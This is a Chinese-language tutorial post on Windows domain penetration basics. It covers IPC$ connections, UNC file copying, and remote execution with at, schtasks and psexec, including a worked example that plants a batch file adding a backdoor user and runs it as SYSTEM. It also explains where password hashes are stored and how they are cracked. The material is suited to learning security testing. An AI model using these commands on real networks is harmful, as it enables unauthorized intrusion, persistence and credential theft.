域滲透前置知識
在繼續學習域滲透之前,至少應該對以下命令使用熟練:cd,dir,copy,xcopy,del,move,echo,mkdir,rmdir,type,ping,ipconfig。後面再講到新的命令時會再做講解。
0x01 ipc連結
內網滲透裡面不管域還是工作組最先需要介紹的就是ipc連線,這個是內網滲透必修科目,後面絕大多數操作都要基於ipc連線。關於ipc的詳細介紹,可以參考這篇文章:http://www.xfocus.net/articles/200303/493.html
安焦的這篇文章是從普通的workgroup形式來舉例的,而在域中,ipc連線的形式有一些差別。
正常ipc登入的命令是net use\\server \ipc$ “password” /user:username
在域裡面使用net use建立連線時,user後面的引數需要新增機器名或者域名,分別對應使用本地賬戶或者域賬戶登入
比如使用域賬戶登入時net user use \\server “password”/user:domain\username
注意user後面變成了domain\username,表示使用domain域的賬戶登入
另外ipc連線時,可以省去後面的\ipc$,除非是要對映指定磁碟需要指定碟符加$,如E$
0x02 訪問檔案
建立ipc連線以後,就可以訪問目標機器的檔案(上傳、下載),也可以在目標機器上執行命令。上傳和下載檔案直接通過copy命令就可以,不過路徑換成UNC路徑。何為UNC路徑?簡單來講以\\開頭的路徑就是UNC路徑,比如\\192.168.1.2\c$\boot.ini。如果要從本地當前目錄上傳1.bat到192.168.1.2機器C盤根目錄下,那麼命令就是copy 1.bat \\192.168.1.2\C$\,反之就是下載。dir、copy、xcopy、move、type的引數都可以使用UNC路徑。
0x03 執行命令
如果要在目標機器上執行命令,最基礎的方法有3種:1、使用計劃任務, 2、psexec,3、wmi遠端執行
-
計劃任務
有兩種方法啟動計劃任務,at和schtasks
at是最基本的方法,來個例子看下具體流程
net use \\192.168.1.5 Passw0rd! /user:admin 建立ipc連線
copy add.bat \\192.168.1.5\c$\wmpub 複製add.bat到目標C盤wmpub目錄
add.bat裡面的內容是net userTwi1ight Passw0rd! /add 新增Twi1ight使用者
net time \\192.168.1.5 檢視目標當前時間,得到當前時間是21:50:52
at \\192.168.1.5 21:52 c:\wmpub\add.bat 告訴目標在21:52的時候執行c:\wmpub\add.bat
at \\192.168.1.5 檢視目標的計劃任務列表
等到21:52時在目標上檢視使用者,已經成功新增賬號
來回顧下整個流程,我們需要得到目標的當前時間,然後再新增一個計劃時間比當前時間晚幾分鐘的任務。這就意味著我們需要等待直到時間到了才能執行,無法立即就執行。而且萬一時間輸錯了,比當前時間要早,那就要等到第二天才會去執行了,這時候又得重新建立一個任務,刪掉錯誤時間的那個,至於怎麼刪除留待讀者實踐吧。這種處理方式同時也導致不便於寫程式來自動處理。
另一種方法是schtasks,這是升級版的at命令
預設在win7中文版上執行schtasks會爆無法載入列資源錯誤,這是編碼原因導致,預設是936編碼(GBK),用chcp 437命令換成美國編碼就可以了。
繼續用之前的例子,假設已經建立好ipc連結,同時已經複製了add.bat過去。下面是具體流程
schtasks /create /s 192.168.1.2 /u administrator/p Passw0rd! /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\wmpub\add.bat/F
schtasks /run /s 192.168.1.2 /u administrator /pPassw0rd! /tn adduser /i
schtasks /delete /s 192.168.1.2 /u administrator/p Passw0rd! /tn adduser /f
第一條命令是建立計劃任務,/s指定遠端機器名或ip地址,/ru指定執行任務的使用者許可權,這裡指定為最高的SYSTEM,/tn是任務名稱,/sc是任務執行頻率,這裡指定為每天執行,並沒什麼實際意義,/tr指定執行的檔案,/F表示如果指定的任務已經存在,則強制建立任務並抑制警告。
第二條命令表示執行任務,其中/i表示立即執行,這就是schtasks比at好用的關鍵點,不需要和時間掛鉤,可以立即執行任務。
在條件允許的情況下,儘量使用schtasks,因為在某些條件下,at執行完任務後,任務資訊沒有刪除,用at命令查不到任務資訊,但是用schtasks卻能看到任務資訊,任務名是At加一個數字。
具體例子,本地windows10,遠端windows2008
這是用at在遠端2008機器上新增一個任務,執行ipconfig命令,執行完後在win10上用at遠端查詢不到任務資訊了。
然後在2008機器的本地來看at和schtasks的結果:
at命令本地也查不到資訊,但是schtasks卻能看到任務資訊,如果用詳細模式,就能看到更具體的資訊。
Tips:
我測試windows7和windows2008無法用schtasks遠端在windows2003上面建立任務,且windows10無法使用schtasks遠端在windows2008上面建立任務。
還有使用本地賬號的情況下,schtasks在建立了ipc連結的基礎上還是需要指定賬號密碼
-
psexec
psexec是pstools工具包中的一個工具,常用來遠端執行命令。
psexec針對遠端建立連線的認證方式有兩種,一種先建立ipc連線,然後直接用psexec \\192.168.1.2 cmd命令開啟一個半互動式的cmdshell,另一種是在psexec的引數中指定賬號密碼。
psexec的-s參數列示是否使用system許可權。
借用之前的例子,假設已經複製好add.bat到192.168.1.2,使用psexec執行的命令是:
psexec \\192.168.1.2c:\wmpub\add.bat
psexec的基本的原理是通過管道在遠端機器上建立一個服務psexec,然後通過這個服務執行命令,執行完後刪除服務。這個在windows的日誌中有詳細的記錄:
另外psexec在少數情況下會出現服務沒刪除成功的bug,所以一般來講不太推薦在滲透時使用psexec。
-
wmiexec
這個是我之前寫過的一個工具,專門用來替代psexec的,這個帖子有詳細的介紹和使用說明“利用WMI代替psexec——WMIEXEC.vbs”https://www.t00ls.net/thread-21167-1-1.html,這裡就不再贅述。
0x03 Hash知識
windows的密碼是經過hash後儲存的,本地存在sam,system登錄檔中,域裡面存在ntds.dit中。密碼hash有兩種格式,LM hash和NT hash。從vista以後的系統本地和域都不再儲存LM hash,取而代之的是一串AAD3開頭的hash串。另外由於LM hash演算法的侷限性,當密碼超過14位時,即使在2003或XP上,LM hash也為空,此時抓hash抓到的也是AAD3開頭的。
LMhash可以用線上網站秒破http://www.objectif-securite.ch/en/ophcrack.php
NThash就只能用暴力破解了,基本上所有破解工具都支援該演算法。破不出來也沒太大關係,現在也出了很多工具支援直接使用nthash連線遠端機器執行命令。
除了這兩種hash,在域環境中還存在另外一種域登入快取mscash,這個後面會講到。
相關文章
- 內網滲透-初探域滲透內網
- JUC前置知識
- pwn前置知識
- 域滲透之初識Kerberos認證過程ROS
- WEB網路滲透的基礎知識Web
- 滲透測試基礎知識----MySQL 配置MySql
- Web前置知識(1)Web
- SpringBoot系列-前置知識Spring Boot
- 域滲透——Skeleton Key
- 域滲透——Hook PasswordChangeNotifyHook
- 域滲透——Pass The Ticket
- 域滲透之利用WMI來橫向滲透
- 滲透測試基礎知識---nginx安全配置Nginx
- 深入理解閉包之前置知識→作用域與詞法作用域
- 域滲透之初識LM&NTLM認證過程
- Java 反射【前置知識點】Java反射
- 3、域滲透詳解
- 域內滲透基本技巧
- 域滲透——Security Support ProviderIDE
- vue面試題(前置知識)Vue面試題
- 域滲透——Local Administrator Password Solution
- 域滲透——Pass The Hash & Pass The Key
- 域滲透之ldap協議LDA協議
- 技術分享 | 域滲透AdminSDHolder
- ava 集合 | 紅黑樹 | 前置知識
- 前置知識—程式和執行緒執行緒
- 網站安全公司 滲透測試基礎知識點大全網站
- 滲透測試基礎知識---mysql配置檔案詳解MySql
- 域滲透的金之鑰匙
- 安全技術 | 域滲透之SPN
- 軟體滲透測試基礎知識分享,可做滲透測試的軟體檢測公司有哪些?
- gitbook 入門教程之前置知識Git
- [原始碼-webpack02-前置知識] Tapable原始碼Web
- 從 BIO、NIO 到 Netty【前置知識點】Netty
- 7、域滲透——Pass The Hash的實現
- Web 前置知識——Git 和 GitHub:① Git、GitHub初認識WebGithub
- 2、超詳細的域滲透過程
- 9、Metasploit域滲透測試全程實錄
- 10、一篇經典的域滲透文章